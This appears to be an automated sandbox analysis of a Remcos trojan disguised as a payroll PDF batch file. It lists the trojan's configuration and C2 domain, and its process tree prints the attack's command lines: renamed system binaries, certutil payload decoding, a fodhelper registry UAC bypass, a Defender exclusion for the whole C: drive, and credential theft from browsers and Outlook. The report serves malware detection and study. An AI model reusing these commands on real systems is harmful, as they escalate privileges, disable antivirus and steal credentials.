Analysis

  • max time kernel
    147s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/07/2024, 01:14

General

  • Target
    Payroll for July.PDF.bat
  • Size 4.9MB
  • Sample240728-bl376szarn
  • SHA256 68711195c07e287987488f7045c7147501ccfbae22318b8460d01a86d2f09599
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • 127.0.0.1:54888

  • zuesremmy.duckdns.org:54888

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-Z19JY9

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 28 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 2 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:432
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:2328
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1976
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:3248
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat" "C:\\Users\\Public\\Defux.mpeg" 3
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4648
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Payroll for July.PDF.bat" "C:\\Users\\Public\\Defux.mpeg" 3
            3⤵
            • Executes dropped EXE
            PID:3620
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Defux.mpeg" "C:\\Users\\Public\\Libraries\\Defux.COM" 10
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1872
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Defux.mpeg" "C:\\Users\\Public\\Libraries\\Defux.COM" 10
            3⤵
            • Executes dropped EXE
            PID:3852
        • C:\Users\Public\Libraries\Defux.COM
          C:\Users\Public\Libraries\Defux.COM
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4908
          • C:\Users\Public\Libraries\gspwscdY.pif
            C:\Users\Public\Libraries\gspwscdY.pif
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3784
            • C:\Windows\system32\cmd.exe
              "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CDEF.tmp\CDFF.tmp\CE00.bat C:\Users\Public\Libraries\gspwscdY.pif"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2412
              • C:\Windows\System32\extrac32.exe
                C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
                5⤵
                  PID:412
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
                  5⤵
                  • Executes dropped EXE
                  PID:1364
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
                  5⤵
                  • Executes dropped EXE
                  PID:816
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4304
                  • C:\Windows\system32\extrac32.exe
                    extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
                    6⤵
                      PID:4272
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3224
                    • C:\Windows\system32\extrac32.exe
                      extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                      6⤵
                        PID:3404
                    • C:\Users\Public\alpha.exe
                      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2704
                      • C:\Windows\system32\extrac32.exe
                        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                        6⤵
                          PID:2896
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c start /wait C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:5052
                        • C:\Users\Public\xkn.exe
                          C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                          6⤵
                          • Executes dropped EXE
                          • Modifies system certificate store
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:3408
                          • C:\Users\Public\alpha.exe
                            "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                            7⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:3324
                            • C:\Users\Public\ger.exe
                              C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                              8⤵
                              • Executes dropped EXE
                              • Modifies registry class
                              PID:1432
                      • C:\Windows \System32\per.exe
                        "C:\\Windows \\System32\\per.exe"
                        5⤵
                        • Checks computer location settings
                        • Executes dropped EXE
                        PID:1852
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:1476
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettings.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3120
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:1068
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM SystemSettingsAdminFlows.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4956
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 5
                        5⤵
                        • Executes dropped EXE
                        • System Network Configuration Discovery: Internet Connection Discovery
                        PID:4700
                        • C:\Windows\system32\PING.EXE
                          ping 127.0.0.1 -n 5
                          6⤵
                          • System Network Configuration Discovery: Internet Connection Discovery
                          • Runs ping.exe
                          PID:1488
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                        5⤵
                        • Executes dropped EXE
                        PID:4548
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                        5⤵
                        • Executes dropped EXE
                        PID:4468
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                        5⤵
                        • Executes dropped EXE
                        PID:1048
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:1432
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:2504
                      • C:\Users\Public\alpha.exe
                        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                        5⤵
                        • Executes dropped EXE
                        PID:2240
                  • C:\Windows\SysWOW64\extrac32.exe
                    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Defux.COM C:\\Users\\Public\\Libraries\\Ydcswpsg.PIF
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:4304
                  • C:\Windows\SysWOW64\SndVol.exe
                    C:\Windows\System32\SndVol.exe
                    3⤵
                    • Suspicious use of SetThreadContext
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: MapViewOfSection
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:4716
                    • C:\Windows\SysWOW64\SndVol.exe
                      C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\feqmxbqgmqx"
                      4⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4060
                    • C:\Windows\SysWOW64\SndVol.exe
                      C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\pywfxtbiaypnkik"
                      4⤵
                      • Accesses Microsoft Outlook accounts
                      • System Location Discovery: System Language Discovery
                      PID:3852
                    • C:\Windows\SysWOW64\SndVol.exe
                      C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\zsbpymubwghrmwgoni"
                      4⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4940
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:876
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Defux.mpeg" / A / F / Q / S
                  2⤵
                  • Executes dropped EXE
                  PID:4676
              • C:\Windows\system32\SystemSettingsAdminFlows.exe
                "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                1⤵
                  PID:4912

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      logs.dat

                      • Path C:\ProgramData\remcos\logs.dat
                      • Size 222B
                      • SHA256 e776155cc0a6a0c3b142469cb654155ae86c10e86c398a8ae038a921b7bb6bea
                      • MD5 SHA1 SHA512

                      CE00.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\CDEF.tmp\CDFF.tmp\CE00.bat
                      • Size 1KB
                      • SHA256 cad29a052bcb297f5497d6c1a9d37bd938f9d3d7d75b6645f4221f379cf215ff
                      • MD5 SHA1 SHA512

                      __PSScriptPolicyTest_15qmbhlo.2nx.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_15qmbhlo.2nx.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      feqmxbqgmqx

                      • Path C:\Users\Admin\AppData\Local\Temp\feqmxbqgmqx
                      • Size 4KB
                      • SHA256 5b925ab999c036167ea8ddb4ea5256d33f56405a62faf0c40837d3e69588c5e2
                      • MD5 SHA1 SHA512 SSDEEP

                      Defux.mpeg

                      • Path C:\Users\Public\Defux.mpeg
                      • Size 3.4MB
                      • SHA256 7af8dff6d15de6862d34cba46e7705275a5a07ac9bf6303f9ec917ff8811e3a7
                      • MD5 SHA1 SHA512 SSDEEP

                      Defux.COM

                      • Path C:\Users\Public\Libraries\Defux.COM
                      • Size 984KB
                      • SHA256 0bde51c2efedcc1dc13504c70a1856f6bfb904c54b9a23b87d8aad5eda6e238f
                      • MD5 SHA1 SHA512 SSDEEP

                      gspwscdY.pif

                      • Path C:\Users\Public\Libraries\gspwscdY.pif
                      • Size 66KB
                      • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                      • MD5 SHA1 SHA512 SSDEEP

                      alpha.exe

                      • Path C:\Users\Public\alpha.exe
                      • Size 283KB
                      • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                      • MD5 SHA1 SHA512 SSDEEP

                      ger.exe

                      • Path C:\Users\Public\ger.exe
                      • Size 75KB
                      • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                      • MD5 SHA1 SHA512 SSDEEP

                      kn.exe

                      • Path C:\Users\Public\kn.exe
                      • Size 1.6MB
                      • SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
                      • MD5 SHA1 SHA512 SSDEEP

                      xkn.exe

                      • Path C:\Users\Public\xkn.exe
                      • Size 442KB
                      • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                      • MD5 SHA1 SHA512 SSDEEP

                      per.exe

                      • Path C:\Windows \System32\per.exe
                      • Size 48KB
                      • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/3408-67-0x000002595BCC0000-0x000002595BCE2000-memory.dmp

                      memory/3784-111-0x0000000000400000-0x0000000001400000-memory.dmp

                      memory/3784-32-0x0000000000400000-0x0000000001400000-memory.dmp

                      memory/3784-37-0x0000000000400000-0x000000000041A000-memory.dmp

                      memory/3784-94-0x0000000000400000-0x000000000041A000-memory.dmp

                      memory/3784-38-0x0000000000400000-0x0000000001400000-memory.dmp

                      memory/3784-35-0x0000000000400000-0x0000000001400000-memory.dmp

                      memory/3852-128-0x0000000000400000-0x0000000000462000-memory.dmp

                      memory/3852-125-0x0000000000400000-0x0000000000462000-memory.dmp

                      memory/3852-124-0x0000000000400000-0x0000000000462000-memory.dmp

                      memory/4060-130-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/4060-123-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/4060-131-0x0000000000400000-0x0000000000478000-memory.dmp

                      memory/4716-102-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-145-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-117-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-118-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-119-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-121-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-115-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-100-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-95-0x0000000003410000-0x0000000004410000-memory.dmp

                      memory/4716-160-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-98-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-114-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-116-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-152-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-103-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-101-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-141-0x0000000027180000-0x0000000027199000-memory.dmp

                      memory/4716-140-0x0000000027180000-0x0000000027199000-memory.dmp

                      memory/4716-137-0x0000000027180000-0x0000000027199000-memory.dmp

                      memory/4716-142-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4716-144-0x0000000000400000-0x0000000000482000-memory.dmp

                      memory/4908-28-0x0000000000400000-0x0000000000500000-memory.dmp

                      memory/4940-127-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/4940-126-0x0000000000400000-0x0000000000424000-memory.dmp

                      memory/4940-129-0x0000000000400000-0x0000000000424000-memory.dmp